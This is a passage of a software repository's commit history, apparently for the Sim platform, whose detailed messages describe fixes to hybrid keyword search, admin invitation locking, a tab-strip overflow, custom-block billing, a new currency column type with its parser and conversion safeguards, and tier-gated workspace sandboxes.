attribution. * fix(knowledge): reject a whitespace-only copilot query explicitly The shared dispatch treats a whitespace-only query as absent and throws when no tag filters accompany it, where the previous vector-only call would have embedded the blank string and searched. Tighten the existing guard so the tool returns its normal message instead. * fix(knowledge): fan the keyword leg out per knowledge base The vector leg caps candidates per base once getQueryStrategy sets useParallel, but the keyword leg always ran one global query with a single LIMIT. Searching several bases at once let whichever one ranks strongest lexically consume every slot, so an exact-token hit in a smaller base never reached fusion — the case hybrid exists to serve. The keyword leg now uses the same strategy: per-base queries under the same parallel limit, re-ranked globally on a selected ts_rank_cd. Both legs draw candidates the same way, so fusion combines rankings over the same pool. * perf(knowledge): stop the keyword leg detoasting every match's vector Selecting the cosine distance in the ranking query made Postgres detoast the 1536-dimension embedding and compute a distance for every full-text match before the LIMIT applied, so cost tracked how common the query term was rather than topK. On a 20k-chunk base with a term matching every row that was 61,055 buffer hits against 1,030 for the same query without the projection. Rank on ids and ts_rank_cd alone, then hydrate only the rows that survive the limit. Same results, and the worst case drops to ~27ms end to end. |
||
|
Vikhyath Mondreti
|
413784eceb | improvement(function): secrets access dropdown (#6118) | ||
|
Vikhyath MondretiandClaude
|
04a8c0ac8f |
improvement(admin): update defaults for better UX (#6112)
* improvement(admin): uupdate defaults for better UX * refactor: address review nits on the admin/invitation lock work Correct the attach lock-order comment. The order matches admin move, and what makes it mandatory is invitation acceptance: it holds `workspace-invitations:<id>` while waiting for the workspace row, so row-locking first (as this did) deadlocks against it. The previous ownership-transfer justification did not hold — that path takes the organization lock before its workspace rows too, so the two agree on order rather than inverting. Drop `cancelInvitation`. The `revokeInvitationAsAdmin` extraction left it with no callers, and an unlocked, unauthorized `status = 'cancelled'` flip sitting next to the fenced replacement is easy to reach for by mistake. Drop the unused `executor` parameters from `hasWorkspaceAdminAccess` and `isOrganizationAdminOrOwner`. No caller threads a transaction through either, and the former goes back to delegating to `checkWorkspaceAccess` instead of re-deriving the same permission itself. Import `chunkArray` from `@sim/utils/helpers` everywhere and remove the re-export from `batch-delete.ts`, so the symbol has one source rather than a non-barrel shim plus the package. Restore the bounded attachability check in `addDashboardOrganizationMember`: scope the query to the selected ids instead of listing every attachable workspace and scanning that array per selection. Resolve the credential-creation permission through `getEffectiveWorkspacePermission` rather than a second copy of the org-admin derivation ladder, so the rule cannot drift from the shared resolver. Co-Authored-By: Claude <noreply@anthropic.com> * refactor(invitations): drop dead code left by the revocation extraction `revokeInvitationWorkspaceGrant` lost its only caller when the DELETE route moved to `revokeInvitationAsAdmin`, leaving a locked wrapper nothing invoked. Remove it and fold its documentation into `revokeInvitationWorkspaceGrantTx`, which direct grants and scoped revocation still call. The grant-revocation test now drives the transactional form directly, so the sibling-grant and final-grant-cancels behaviour it covers stays under test. `isSameOrgMember` has had no caller since before this branch — direct grant resolves membership through `getUserOrganization` inside its own transaction — so it and its tests go too. `getWorkspaceMembership` is no longer imported outside its module now that credential creation reads `getCredentialCreationWorkspaceContext`; make it module-private rather than leave it on the public surface. Co-Authored-By: Claude <noreply@anthropic.com> * refactor: remove four uncalled billing and large-value helpers Each was checked by hand across every file type, including barrel re-exports and string references, rather than taken from a static analyzer. `isUserMemberOfOrganization` has no reference anywhere. `reapplyPaidOrgJoinBillingForExistingMember` only ever ran from two lock-ordering tests. The transaction-enlisted form it delegated to is what the subscription webhooks call and what those tests actually assert on, so they now drive it directly. The assertions are unchanged: the wrapper contributed a transaction, an organization lock and a membership existence check, none of which appear in the recorded operations. `replaceLargeValueReferences` and `replaceLargeValueReferencesWithClient` are both thin wrappers over `replaceLargeValueReferenceKeysWithClient`, which execution logging, human-in-the-loop resume and the trace backfill all still call. The single test covering a wrapper now composes the key collection itself and targets that live helper. Co-Authored-By: Claude <noreply@anthropic.com> --------- Co-authored-by: Claude <noreply@anthropic.com> |
||
|
Waleed
|
9e9dc54d7e |
fix(emcn): stop the tab strip scrolling vertically by a pixel (#6113)
* fix(emcn): stop the tab strip scrolling vertically by a pixel The active tab extends one pixel past the strip so it covers the bottom border and reads as joined to the panel below. That pixel came from `-mb-px` on the tab itself, which meant it overflowed the row containing it — and that row is a scroll container, because `overflow-x: auto` computes a visible `overflow-y` to `auto` as well. The strip was therefore scrollable on the y axis by exactly one pixel, which is enough for a trackpad to nudge the tabs out of view. Moving the overlap onto the row keeps the tabs flush inside it, so the scroll container has nothing to scroll, while the row itself still hangs the pixel over the border. The strip is unchanged visually. Measured in a real renderer with the component's own classes: the row was scrollHeight 30 against clientHeight 29, and is now 30 against 30. A first attempt to reproduce it with hand-written inline styles showed no overflow at all — the real class output was needed to see it. Shared by the browser and terminal panels, so both stop scrolling. * test(emcn): pin the invariant, not the class placement Review pointed out the guard read source strings rather than rendered geometry, so it could pass while the overflow returned. Correct, and worth being precise about the compromise: this package's vitest runs in `node` with no browser mode, and the repo's only Playwright harness drives Electron against static HTML fixtures, so nothing here can lay out a React tree against the compiled CSS. Adding that capability is real infrastructure, not a line in this fix. What the guard can do is pin the invariant instead of two particular class strings: no negative bottom margin anywhere inside the scrolling row. That now catches the regression wherever a descendant reintroduces it, rather than only on the tab button it came from — verified against both shapes. The rendered behaviour stays measured rather than asserted, and the numbers are recorded next to the guard. |
||
|
Theodore Li
|
7293b67a54 |
feat(custom-blocks): log and bill child runs in the publisher's workspace (#6023)
* feat(custom-blocks): log and bill child runs in the publisher's workspace * fix(custom-blocks): sanitize every boundary failure and classify it for consumers * fix(custom-blocks): surface a cancelled child as cancelled, not a generic failure * fix(custom-blocks): share one large-value id list so nested blocks propagate * fix(custom-blocks): add a durable cancel backstop to the child bridge * fix(tools): carry Sim's own status through the tool-response boundary * fix(custom-blocks): stop forwarding the publisher's personal quota to consumers * fix(custom-blocks): correlate agent-tool runs to the real invoking execution * fix(custom-blocks): plumb the invoking execution id and abort signal to agent tools * fix(agent): forward the execution id through the provider payload * fix(executor): stop adopting an upstream target's HTTP status as our own * fix(custom-blocks): drain child log finalization when the parent is cancelled * fix(custom-blocks): require curated outputs instead of exposing the whole result * fix(custom-blocks): track the whole child run, not just its finalization |
||
|
Waleed
|
ee0157df4b |
feat(tables): add currency column type on a new column-type registry (#6106)
* feat(tables): add currency column type on a new column-type registry
Adds a `currency` column type, and consolidates the per-type knowledge it
would otherwise have been scattered across.
**Currency.** Stores a plain number and carries an ISO 4217 `currencyCode`
as display metadata. That split is what keeps it cheap: filtering, sorting,
uniqueness and CSV export all reuse the numeric paths unchanged, changing a
column's currency rewrites no rows, and the public row output stays a number
rather than a locale-formatted string consumers would have to reparse.
Input accepts the shapes an amount actually arrives in — `$1,234.56`,
`1 234,56 €`, `(12.00)` — so pastes, CSV imports and tool writes land as
numbers instead of being nulled.
**The registry.** Adding this type initially required edits in ~40 places:
32 switch arms under `lib/table`, ~26 UI branches, two hand-maintained icon
maps, and a coercion implementation duplicated four times. Every one of those
failed silently when missed — a missing `jsonbCastForType` arm compares
numbers as text; a missing compatibility arm blocks all conversions.
`lib/table/column-types/` now holds one file per type carrying its label,
icon, badge colour, storage cast, filter operators, coercion, validation,
compatibility and formatting. `Record<ColumnType, …>` on both registries is
the completeness gate: adding a type to the union is a compile error naming
exactly the two files to fill in, and the interface then requires every
field. The 32 switch arms are down to 3.
Two duplicates collapse as a consequence:
- The client no longer mirrors the server's select id-resolution. Those
helpers lived in `validation.ts`, which imports drizzle, so anything
reaching them became server-only and the grid hand-rolled its own copy.
Extracting them to `select-options.ts` lets both sides share one
implementation, so the optimistic cache can no longer disagree with what
gets persisted.
- The two icon maps become one registry read.
It also fixes a live inconsistency it surfaced: currency got a numeric
keypad in the grid's inline editor but a plain text field in the row modal.
Behaviour-neutral by construction: all 1046 tests in the touched areas pass
unchanged, with no test edits.
* test(tables): guard the column-type registry's invariants
Property tests for the registry itself rather than any one type: entries key
by their own id, COLUMN_TYPES stays derived, an unknown type degrades to
string instead of throwing, only opaque-id types restrict filter operators,
only configuration-free types are CSV-inferable, and every type that can
reject a draft has a message to show.
Plus the metadata-ownership matrix, which pins the generic ownership check to
the same answers the hardcoded per-type rules gave.
These target the registry's silent-failure class — a wrong jsonbCast or a
stray operator whitelist used to be invisible until a filter failed in SQL.
Both are verified to fail under mutation.
* fix(tables): read exponent-form amounts and reject bad currency PATCHes up front
Two P1s from review.
Scientific notation lost magnitude. `String()` emits exponent form past 1e21,
so a stored amount round-trips through the editor as `1e+21` — and the
sanitizer treated the `e` as decoration to strip, reading it back as 121. An
untouched cell silently lost 19 orders of magnitude on its next edit. Exponent
form is now taken at face value, but only when the string is wholly a numeric
literal once symbols are removed, so `12 EUR` (whose `E` survives the strip)
still parses through the separator path.
A failed currency PATCH left a partial rename. `renameColumn` commits in its
own transaction before the currency write, so a `currencyCode` the service
would reject — an unsupported code, or any code on a non-currency column —
errored only after the rename had stuck. Both are now caught before the first
write, matching the guard the route already applies to unique-on-select for
exactly this reason.
* refactor(tables): finish the registry migration and drop the dead config
Audit pass over every consumer, closing the gaps the first cut left.
Functional gap: the copilot agent had no currency support at all — it could
create a currency column with no code and could never re-denominate one.
`add_column` and `update_column` now accept `currencyCode`, with the same
up-front validation and the same code-only routing as the HTTP routes.
Config that consumers were still restating, now read from the registry:
- `supportsUnique` replaces the unique-on-select guard stated in three places
(service, both column routes, the copilot tool).
- `editor === 'toggle'` replaces seven `type === 'boolean'` checks in the grid
and expanded popover, all of which meant the same thing.
- `defaultMetadata` replaces the per-type stamping in `addTableColumn` and
`updateColumnType`.
- `sampleValue` replaces the per-type example values in the LLM prompt
scaffolding.
- `storesOpaqueIds` replaces the select filter in the find-row matcher.
Dead config removed: `getTypeBadgeVariant` had zero callers (already dead on
staging), and it was the only reader of `badgeVariant` — so the field, its
union, and all seven values went with it. `inferFromCsv` was read by nothing
but a comment; CSV inference is an ordered heuristic a boolean cannot express,
so it is gone too and `InferredCsvColumnType` is no longer exported.
Fixes a latent crash found on the way: unique-constraint checking normalized a
cell keyed on its RUNTIME type but reconstructed it keyed on the column's
DECLARED type, so a unique `date` column stored a bare `2024-01-01` and then
threw `SyntaxError` parsing it back. Both directions now go through JSON
unconditionally. Pre-existing, unrelated to currency.
Adds the `/add-column-type` skill and a Tables section in CLAUDE.md/AGENTS.md
pointing at it, so the next type is one file plus two registry entries.
* fix(tables): run the column PATCH guards ahead of the rename, not after it
Greptile was right and my previous reply was wrong. The guards were added in
the right shape but the wrong place — below `renameColumn`, which is the
first write and commits in its own transaction. A PATCH combining a rename
with an invalid currency therefore still committed the rename and then
returned 400, exactly the counterexample reported.
Moved the column lookup and all three pre-flight guards above every write.
This also closes the same latent hole for the pre-existing unique-on-select
guard, which sat in the same position.
Adds route tests that assert `renameColumn` was never called on each
rejection path, and that a valid combined rename + currency change still
targets the new name. Verified to fail against the previous ordering.
* fix(tables): make the retype gate and the write path share one parser
A simplify pass over the registry found two real defects and several places
the abstraction was being worked around.
Silent data loss on conversion. `isCompatibleWith` was hand-written per type
and had already drifted from `coerce`, despite the interface promising they
could not: `boolean` accepted '1'/'0'/0/1 in the gate but only 'true'/'false'
in the write path, so converting a column holding "1" reported zero
incompatible rows and then nulled every one of them. `date` drifted the other
way. `isCompatibleWith` is now optional and defaults to `coerce(...).ok`, so
the two are the same code; only `select` overrides, because its rules are
about the column (cleared-vs-required, cardinality) not the value.
`isColumnType` used `in`, which matches inherited keys — `isColumnType('toString')`
was true and `columnTypeById('toString')` returned `Function.prototype.toString`,
which the validator would then call `.validateDefinition()` on. Now `Object.hasOwn`.
`defaultMetadata` only ran on the currency arm of a retype, so a future type
would get its defaults on create but silently not on conversion. It now runs
for every non-select target, carrying forward only metadata the TARGET type
declares it owns — a currency→text conversion no longer strands a currencyCode.
The index doc claimed the registry is kept out of the `@/lib/table` barrel so
44 server modules don't pull `@sim/emcn/icons`. That was false: `constants.ts`
re-exported `COLUMN_TYPES` from the icon-carrying `registry.ts`, and the barrel
re-exports `constants`. `COLUMN_TYPES` now lives in the icon-free `types.ts`;
verified with an import tracer that both are icon-free again.
Also: 5 no-op `validateDefinition`s and 4 duplicated formatters collapsed into
registry defaults; `CURRENCY_OPTIONS` was an eager module-load IIFE costing
~8ms of ICU work on every table API route for a list only the config sidebar
reads, now built on first call; and the skill's validation grep claimed 'should
return nothing' when it returns 8 legitimate hits — it now explains how to tell
a leak from a genuine special case.
* fix(tables): reject a non-leading sign so dates don't parse as amounts
Found by Cursor Bugbot. `parseCurrencyInput` dropped every `-` as decoration,
so an ISO date's hyphens vanished and its digit groups joined: `2024-01-01`
read as 20240101. With the gate now sharing the write path's parser, a
date → currency conversion reported zero incompatible rows and silently
turned every cell into a huge number.
A sign is only meaningful at the front; an interior one means the string is
not a single amount. Leading signs, accounting parentheses, symbols, ISO
codes, grouping separators, and exponent form all still parse — covered by
the existing cases plus new ones, verified to fail without the fix.
* fix(tables): use getErrorMessage in the columns route test mock
`check:utils` bans the inline `e instanceof Error ? e.message : fallback`
form; the mock for `rootErrorMessage` used it.
* fix(tables): rename the column last so a failed write leaves it untouched
Greptile's remaining concern: the pre-flight guards read a schema snapshot, so
a column-type change landing concurrently can still make a later write fail —
and with the rename running first, that failure returned an error with the
rename already committed.
Guards cannot close that window; each write is its own locked transaction and
only the write itself sees the authoritative state. Ordering can. The rename is
the one write that is purely cosmetic, so it now runs last: a failed typed
write leaves the column entirely untouched, and a failed rename leaves the
typed change applied under the old name — the recoverable half. The typed
writes target the column's current name, since no rename has happened yet.
Tests cover both directions: a typed write rejected mid-flight must not rename,
and a successful one must rename strictly after. Verified to fail under the
previous ordering.
* fix(tables): write back coerced values on every conversion
Round 4 findings, all real.
A conversion is allowed exactly when the target type's `coerce` accepts the
value — and `coerce` frequently TRANSFORMS it. Only `select` and `currency`
wrote the transformed value back, so a conversion to any other transforming
type left the cell holding its old bytes under the new type. Converting a
number column to `date` accepted epoch values, stored them unchanged, and then
`(data->>'col')::timestamptz` failed on EVERY query against that column. I
opened this myself by defaulting `isCompatibleWith` to `coerce(...).ok`.
Fixed at the class rather than the instance: the compatibility scan now records
whatever `coerce` produced whenever it differs from what is stored, and one
generic write-back applies it. That subsumes the currency-specific migration
entirely, so it and its helpers are gone. `select` keeps its own id↔name
migrations, which are not coerce-expressible in the outbound direction. The
post-conversion column definition is built once, before the scan, so the
coercion reads the same metadata the stored value is later validated against.
Exponent parsing was ambiguous when followed by text: `1e5 EUR` read as 15.
An `e` with a digit on both sides is an exponent marker, so if the string is
not a clean numeric literal it is refused rather than guessed — the digit on
both sides is what keeps the `E` inside `12 EUR` parsing normally.
A failed rename could still leave a typed change committed. The one rename
failure a caller can cause — a name already taken — is now rejected up front,
leaving only the concurrent-collision race, which no pre-flight check can close
without spanning all writes in one transaction.
* fix(tables): stop a blank cell blocking an optional type conversion
Found by Cursor Bugbot. `''` is incompatible with every numeric type, and the
compatibility scan counted it as a hard blocker regardless of whether the
target was optional — so a text column with a single empty cell could not be
converted to a number at all, and the error said 'to a required ...' either way.
An unreadable-but-empty cell is not a conversion failure. The write path
already turns an unreadable value into null on an optional column, so the
conversion now does the same and records null for it. A required target still
reports it, which the existing guard above already does with the message that
actually fits.
Also pins the two intentional divergences from the pre-registry behavior. A
differential run of the registry against the pre-refactor implementations (55
values x 7 column shapes) found ZERO coercion differences and exactly two
compatibility differences, both deliberate: boolean now rejects the '1'/'0'
conversions the old gate accepted and then nulled, and date now accepts the
epoch numbers its write path always accepted. Tests pin both so neither can be
silently reverted or widened.
* fix(tables): refuse conversions that would invent or destroy values
Final adversarial scan found two data-corrupting conversions, both opened by
defaulting the retype gate to the write path's parser.
number → date destroyed every value. `date.coerce` reads a number as epoch
milliseconds, which is right for one deliberate write and catastrophic applied
to a whole column: 1, 5, 42 became three timestamps in January 1970, and a
Unix-seconds column landed in 1970 rather than the year it meant. Irreversible.
`date` now overrides the gate to reject numbers, restoring the pre-refactor
behavior, and the contract states the rule the override obeys: a gate may be
STRICTER than `coerce`, never looser. Stricter refuses a bulk conversion while
single writes still work; looser is the direction that corrupts.
string → currency invented values. The parser stripped every non-digit and
joined what was left, so `01/02/2024` read as 1022024, `Room 101` as 101, and
`0.1.2` as 12 — a column of SKUs or phone numbers converted with zero reported
incompatibilities. What remains after removing symbols, spacing and an ISO code
must now be only digits and separators, and grouping must be well-formed (a
first group of 1-3 digits, the rest exactly 3). Every legitimate form still
parses, including all the locale variants.
Also generifies the last three metadata leaks: `buildConvertedColumn` strips
and carries back by iterating the key list rather than naming keys (naming them
meant a future type's metadata rode onto a target that rejects it, failing that
column's validation on every later write), `normalizeColumn` forwards metadata
through a shared `typeMetadataOf`, and `filterOperatorsFor` moved onto the
definition — it was a per-type branch inside the registry's own accessor, the
one thing the registry exists to forbid.
Skill corrected: it claimed COLUMN_TYPES derives from the registry (backwards),
promised exactly two compile errors (four once a type owns metadata), used a
grep that missed half the real branches, and never mentioned `import.ts`'s
second coercion path, whose silent default arm is the costliest miss available.
Differential re-run vs the pre-refactor implementations: 0 coercion
differences, 1 intentional compatibility difference (boolean no longer accepts
the 0/1 conversions the old gate accepted and then nulled).
* fix(tables): let the row modal accept formatted amounts again
Found by Cursor Bugbot. I unified the row modal's input type with the grid's
`inputMode` last round, but in the wrong direction: mapping `inputMode:
'decimal'` to `<input type="number">` made the modal reject $1,234.56,
1.234,56 and (12.00) — the exact formats `parseCurrencyInput` exists to accept,
and which the grid's inline editor takes fine.
A native number input and a numeric keypad are different things. Types whose
parser accepts formatted text now say so, and get a text field with
`inputMode='decimal'` — the shape the grid already uses. A plain number keeps
the native input, its spinner, and its validation.
* fix(tables): fold a rename into the write it accompanies
Closes the last partial-update window, properly rather than by pre-checking
around it.
A rename is metadata-only — `renameColumn`'s own comment says so: rows,
metadata, and workflow-group refs all key on the stable column id, so it is a
pure schema write. Nothing forced it to be its own transaction. Running it
separately is what created the window: whichever half committed first survived
a failure in the other, and no pre-flight guard can close a concurrent
collision because only the write itself sees authoritative state.
The four column writes now accept an optional `newName` and apply it through
one shared `applyPendingRename`, which validates the name shape and checks the
collision against the very schema snapshot that write is landing in. A combined
request rides the rename on whichever write runs last, so both halves commit
together or neither does — a concurrent claim on the name now aborts the whole
transaction instead of leaving the other change applied.
The routes also address every write by the column's stable id rather than its
name, so folding a rename into one write cannot break the next one's lookup.
A rename with nothing to ride on still runs standalone.
What remains partial is a type write followed by a failing constraints write —
two independently locked transactions, pre-existing, and untouched by this PR.
* fix(tables): migrate scalar cells when converting a column to select
Found by Cursor Bugbot. `resolveSelectOptionId` stringifies a number or
boolean before matching, so a `number` column whose values equal option NAMES
passes the compatibility gate — but `migrateCellsToSelectIds` only rewrote
JSONB `string` and `array` cells. Those cells stayed raw numbers inside a
select column, where they render as nothing and fail option membership on the
next write.
`data->>key` yields the text form for every scalar, so the existing lookup
already worked; the predicate was simply too narrow. Widened to cover
`number` and `boolean`. The outbound migration is unchanged — cells leaving a
select column are option ids, always strings or arrays.
Pre-existing on staging (both the resolver's scalar handling and the migration
SQL predate this branch), but it lives in a file this PR creates.
Tests pin the resolver behavior the predicate depends on, so narrowing either
one without the other now fails.
* fix(tables): validate a retype's unique against the values it writes
Validated the last partial-update seam with a focused investigation rather
than assuming. The answer was split.
`required` is already safe: `updateColumnType` runs the same `countEmptyCells`
against the constraint the request is about to set, which is why that check
exists.
`unique` was not, and the reachable case commits the unrecoverable half. A
text column holding "5" and "5.0", PATCHed with {type: number, unique: true}:
the conversion succeeds and coerces both to 5, then the separate constraint
write finds duplicates and 400s — with the column already numeric and "5.0"
irreversibly rewritten. A pre-scan of the raw text finds nothing; the
conversion is what manufactures the duplicate. The retype now carries `unique`
and checks it after the write-back, against the values it just wrote.
Constraint changes on a workflow-output column were the same shape — rejected
by the constraint write, after a type change had committed. Now rejected in the
route's pre-flight block, before any write.
The duplicate scan is extracted and shared between both paths for the same
reason `countEmptyCells` is: two copies of one rule is the drift that produced
the original required-check bug.
Deliberately NOT merging `updateColumnType` and `updateColumnConstraints`. They
assert different lock levels (destructive vs schema-only) and only the retype
needs the full row scan, so merging would either force a constraints-only
toggle to materialize every row or reintroduce the branching it was meant to
remove. With both reachable failures pre-validated, what remains at the seam is
concurrent races no in-process check can close.
* fix(tables): don't drop a rename when the write it rides on no-ops
Found by Cursor Bugbot — a bug I introduced folding the rename in.
`updateColumnCurrency` returns early when the code is unchanged, and that
return sat ahead of the rename, so PATCH {name, currencyCode} with the column's
current code answered 200 with the rename silently discarded.
Both early returns now treat a pending rename as work: the currency path only
no-ops when the code is unchanged AND no rename is riding along, and the retype
path applies a rename-only write when the type is unchanged. `applyPendingRename`
signals "nothing to do" by returning the same reference, which is what lets
both detect it cleanly.
Also extracts `persistColumns` — five sites were repeating the same
schema-write-and-return.
* fix(tables): make a combined column PATCH a single transaction
Finishes the fold-in rather than pre-validating around the seam. A retype now
APPLIES the constraints it already validates against — it checks empty cells for
`required` and post-conversion duplicates for `unique`, so it was doing the work
without persisting the result — and the route skips the separate constraint
write when the type changed.
A request combining a rename, a retype and constraint changes is now one
locked transaction: no half of it can commit while another fails. The separate
constraint write remains for requests that do not change type, which is the
only case that still needs it.
Deliberately still NOT merging the two service functions. They assert different
lock levels (destructive vs schema-only) and only the retype needs the full row
scan into memory, so a merged function would force a constraints-only toggle to
materialize every row or reintroduce the branching it was meant to remove.
Folding the payload in gets atomicity without either cost.
* fix(tables): reject a flattened list as an amount; fold constraints into every typed write
Two findings from round 11.
Multi-select converted to nonsense amounts. `selectValueForConversion`
flattens a multi cell to its comma-joined option names, and the parser read
that as a formatted number: options 12 and 34 became 12.34, and 100 and 200
became 100200. No real amount puts whitespace after a separator, but a
delimited list does — so a separator followed by whitespace is now refused.
Every legitimate form still parses, including space-grouped locales.
Combined options-or-currency + constraints could still commit partially. Those
two writes now carry constraints the same way the retype does, through one
shared `applyConstraints` that validates (workflow-output, empty cells for
required, supportsUnique and duplicates for unique) and applies them. The
separate constraint write now runs only when no typed write does. Three copies
of those rules is the drift that produced the original required-check bug, so
they live in one place.
* fix(tables): validate constraints after the migrations that rewrite cells
Self-caught while reviewing my own previous commit, which introduced both.
`updateColumnOptions` ran the shared `applyConstraints` BEFORE its cell
migrations. Those migrations rewrite stored values — a single<->multi toggle
changes the shape, removing an option clears cells — so a `unique` scan read
the pre-migration values, passed, and the rewrite could then produce the
duplicates the scan was meant to prevent. Moved to after the migrations, which
is where `updateColumnType` already had it.
The same commit also left the options path running `required`'s empty-cell
check twice: once in the shared helper and once in its original inline block,
whose comment still described a separate constraint write that no longer runs.
Removed the duplicate — one query, one rule, which is the whole point of the
shared helper.
Also routes the options path through `persistColumns` like the others.
* fix(tables): stop inventing amounts from identifiers; fix the copilot retype
Adversarial pass over the final state, seven real findings.
Two destroyed data. The copilot `update_column` still used the two-transaction
pattern the HTTP routes were fixed for: `unique` was never forwarded to the
typed write, so a retype+unique committed the conversion and then failed the
constraint — the same irrecoverable half. It now rides the typed write, and the
separate constraint write only runs when no typed write did.
And the parser's three-letter strip removed ANY three letters, not an ISO code:
`SKU400` parsed as 400, `ABC1234` as 1234. Converting a column of part numbers
to currency rewrote every cell with an invented value — while the comment two
lines above claimed a SKU was exactly what it prevented. The rule is now that a
letter touching a digit means identifier, not amount; a currency marker is
always separated by a space or a symbol.
That same change fixed a class the review surfaced: the pinned currencies could
not parse their own conventional notation. `R$ 1.234,56`, `1 234,56 kr`,
`1234,56 zł`, `CHF 1’234.56` and Indian lakh grouping (`₹12,34,567.89`) all
work now — these are what Intl emits, so a paste from a spreadsheet was being
rejected.
`updateColumnConstraints` was a fourth copy of the constraint rules the shared
helper exists to unify, and had already drifted: it hardcoded `type ===
'select'` where the helper asks the registry, so a future type declaring
`supportsUnique: false` would have been ignored on that path. It now uses the
helper.
`updateColumnType`'s unchanged-type early return silently discarded every
field except the rename. Callers gate on the type changing, but from a read
taken before the lock — so a concurrent change could land there with real work
pending and answer success. It now throws.
Also: `UpdateColumnCurrencyData` was missing `required`, which only compiled
because the routes pass it through a spread; a missing column returns 404
instead of a 400 reading "of type undefined"; and the comments describing the
old two-transaction architecture are gone.
Verified NOT a bug: CSV export of a currency column writes the raw number, so
export/import round-trips losslessly.
* fix(tables): read the negative and RTL forms Intl actually emits
An Intl sweep across 24 locales found two forms the parser rejected, both from
an ordinary spreadsheet paste.
`Intl` emits U+2212 MINUS SIGN rather than the ASCII hyphen for negatives in
several locales, so `−12,50 kr` read as null instead of -12.5. And it wraps
RTL-locale output in invisible bidi control marks, so `1,234.56 ₪` carried
characters that are not part of the amount. Both are now normalized away.
24 locales x 6 amounts now round-trip, up from 99/100 when the sweep started —
and the test generates them from `Intl` rather than listing them by hand, so a
parser change cannot quietly regress a locale nobody remembered to write down.
Locales that format with their own numeral systems (Arabic-Indic) are still
rejected, and now say so in the docstring. That is a safe failure — null rather
than a wrong value — and supporting them is a wider decision than this type,
since it would also touch `number`, display, and sorting.
|
||
|
Vikhyath MondretiandClaude
|
7798e83489 |
feat(function): custom sandboxes (#6071)
* feat(sandboxes): workspace dependency sets for Function blocks Named package sets a Function block can import from. The server canonicalizes and hashes the list; E2B prebuilds a content-addressed template per set, Daytona installs per execution. Create/edit is gated to Max or Enterprise via the shared workspace entitlement check; execution is deliberately ungated, so a downgraded workspace keeps running what it already built. Also on this branch: - Extract the duplicated dropdown/combobox option-fetch lifecycle into use-fetched-options. Only combobox had the dependency-change reset, so every dropdown with dependsOn + fetchOptions cleared its list and never repopulated until reopened. - Collapse the repeated Max-tier entitlement check onto one hasMaxTierWorkspaceAccess, shared by inbox, live sync, and sandboxes. - Resolve a personal payer's block state through getEffectiveBillingStatus in getBillingEntityBlockStatus, so the client-side Max gates agree with the server-side ones when blockOrgMembers' fan-out is stale. - Carve the Daytona dependency install out of the caller's execution budget instead of stacking on top of it. Co-Authored-By: Claude <noreply@anthropic.com> * chore(db): regenerate the sandboxes migration as 0273 Staging claimed 0271 and 0272 while this branch was out, so the hand-authored 0271_workspace_sandboxes was dropped before the merge and regenerated on top of the merged schema. Same DDL; drizzle emits plain CREATE TABLE/INDEX rather than the hand-added IF NOT EXISTS, which matches the repo default — that idempotent form is only needed for files with CONCURRENTLY ops below an embedded COMMIT. Regenerating also restores the meta snapshot the hand-authored migration never had. Co-Authored-By: Claude <noreply@anthropic.com> * chore(db): drop the sandboxes migration ahead of the staging merge Staging independently claims idx 0273, so remove ours before merging to avoid an add/add conflict on the drizzle migration index. Regenerated at the next free index once the merge lands. Co-Authored-By: Claude <noreply@anthropic.com> * chore(db): regenerate the sandboxes migration as 0275 Staging took 0273 and 0274, so the sandboxes DDL lands at the next free index. The emitted SQL is byte-identical to the dropped 0273. Co-Authored-By: Claude <noreply@anthropic.com> * fix(billing): consolidate the Max-tier entitlement onto one predicate The Max tier was spelled five ways. The odd one out — `isMax`, defined as `isPro(plan) && credits >= 25000` — excluded both `team_25000` and `enterprise`, and it was the sole input to the personal-workspace cap. A delinquent Max-for-Teams org admin got 1 personal workspace while a delinquent Max individual got 10. Only free/pro_6000/pro_25000 were tested, so the two broken tiers were unpinned. Separately, the server gate and the client `hasUsableMaxAccess` were independent copies of the same rule. The settings sidebar renders Sandboxes and Sim Mailer from the client one while the API answers 403 from the server one, so any drift renders a feature unlocked that the API refuses. - `MAX_TIER_CREDITS` is derived from the `CREDIT_TIERS` table; `isMaxTier` in plan-helpers is now the single definition, shared by the server gates, the client derivation, `getPlanTypeForLimits`, `plan-view`, and the cap - `hasWorkspaceTierAccess(id, predicate, { intent, onMissingWorkspace })` becomes the one org-vs-personal payer fork. `intent: 'active-use'` means active and not billing-blocked; `'retention'` means active/past_due with block state ignored, so the inbox teardown guard keeps its fail-open semantics instead of implying them through a duplicated fork - `isWorkspaceOnEnterprisePlan`'s personal branch now applies the status and block checks its own org branch always had, and its TSDoc names its real consumer (copilot BYOK, not Access Control) - the client live-sync gate gained the server's `isHosted` branch, so a self-hosted deploy with billing on no longer locks an interval the API accepts. It reads both flags directly rather than taking one as a parameter the callers sourced from the same module - `sqlIsPro`/`sqlIsTeam` escape the `_` LIKE wildcard, matching the already correct hand-rolled filter in seat-drift - deletes the `TERMINAL_SUBSCRIPTION_STATUSES` and `ENTITLED_STATUSES` shadow constants, and corrects three test mocks that asserted `trialing` was entitled or usable `max-tier-parity.test.ts` asserts the client and server answers match for every plan name. Both new guards were checked against the old code: the parity test fails 3 assertions with the previous predicate, and the self-hosted test fails without the `isHosted` branch. Co-Authored-By: Claude <noreply@anthropic.com> * chore(db): drop the sandboxes migration ahead of the staging merge Staging has claimed 0275 (table_views) and 0276 (drop_legacy_folder_tables) since the last merge, so our 0275_workspace_sandboxes collides on the index. Dropping ours first — the .sql, meta/0275_snapshot.json, and the journal entry — leaves packages/db/migrations byte-identical to the merge-base, so the merge sees no add/add conflict at all. Regenerated on the far side. Ours is the droppable side: plain additive DDL with no hand edits, which drizzle reproduces exactly. Staging's migrations are hand-written and must survive. Co-Authored-By: Claude <noreply@anthropic.com> * chore(db): regenerate the sandboxes migration as 0277 Staging claimed 0275 (table_views) and 0276 (drop_legacy_folder_tables), so the sandboxes migration dropped before the merge comes back on top as 0277. The emitted SQL is byte-identical to what was dropped — the original had no hand edits, so there is nothing to reapply. It is purely additive: two enums, sandbox_image and workspace_sandbox, their two FKs and six indexes. That it regenerated unchanged also confirms the schema.ts auto-merge was correct — had it lost staging's legacy-folder-table drops, drizzle would have emitted CREATE TABLE for them here. Snapshot chain is continuous (0273 -> 0277, each prevId matching the previous id) and the table counts track the DDL: 100 -> 101 (table_views) -> 99 (legacy folder tables dropped) -> 101 (the two sandbox tables). Co-Authored-By: Claude <noreply@anthropic.com> * feat(sandboxes): gate on the enterprise feature flags, drop the rollout switch Sandboxes shipped behind `custom-sandboxes`, an AppConfig rollout flag falling back to a `CUSTOM_SANDBOXES` secret. That made it the only Max-gated surface with no 